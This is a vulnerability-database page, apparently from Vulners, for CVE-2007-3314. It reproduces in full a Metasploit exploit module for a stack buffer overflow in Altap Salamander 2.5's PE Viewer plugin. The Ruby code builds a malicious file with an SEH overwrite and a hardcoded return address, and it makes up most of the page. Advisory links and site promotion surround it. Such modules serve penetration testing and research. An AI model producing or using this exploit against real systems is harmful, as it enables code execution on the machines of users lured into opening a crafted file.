Lucene search
K

Altap Salamander 2.5 PE Viewer Buffer Overflow

🗓️ 30 Aug 2009 02:18:33Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 34 Views

Altap Salamander 2.5 PE Viewer Buffer Overflow. Exploits buffer overflow in Altap Salamander <= v2.5 via malicious file to view on Portable Executable Viewer plugin, resulting in stack overwrite

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-3314
16 Dec 201000:00
circl
Check Point Advisories
Altap Salamander 2.5 PE Viewer Buffer Overflow (CVE-2007-3314)
13 Feb 201700:00
checkpoint_advisories
CVE
CVE-2007-3314
21 Jun 200718:00
cve
Cvelist
CVE-2007-3314
21 Jun 200718:00
cvelist
Exploit DB
Altap Salamander 2.5 PE Viewer - Local Buffer Overflow (Metasploit)
16 Dec 201000:00
exploitdb
Kaspersky
KLA10057 ACE vulnerability in Servant Salamander
21 Jun 200700:00
kaspersky
NVD
CVE-2007-3314
21 Jun 200718:30
nvd
Packet Storm
Altap Salamander 2.5 PE Viewer Buffer Overflow
26 Nov 200900:00
packetstorm
Prion
Stack overflow
21 Jun 200718:30
prion
seebug.org
Altap Salamander 2.5 PE Viewer Buffer Overflow
1 Jul 201400:00
seebug
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Altap Salamander <= v2.5.
          By creating a malicious file and convincing a user to view the file with
          the Portable Executable Viewer plugin within a vulnerable version of
          Salamander, the PDB file string is copied onto the stack and the
          SEH can be overwritten.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'aushack' ],
      'References'     =>
        [
          [ 'CVE', '2007-3314' ],
          [ 'BID', '24557' ],
          [ 'OSVDB', '37579' ],
          [ 'URL', 'http://vuln.sg/salamander25-en.html' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2007-06-19',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ false, 'The file name.',  'msf-salamander-pdb.exe'])
        ])

  end

  def exploit

    seh = generate_seh_payload(target.ret)

    # load the static pdb file beginning
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")
    fd = File.open(path, "rb")
    sploit = fd.read(fd.stat.size)
    fd.close

    sploit << rand_text_alphanumeric(1098) + seh
    sploit << ".pdb"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 26.8
EPSS0.76603
34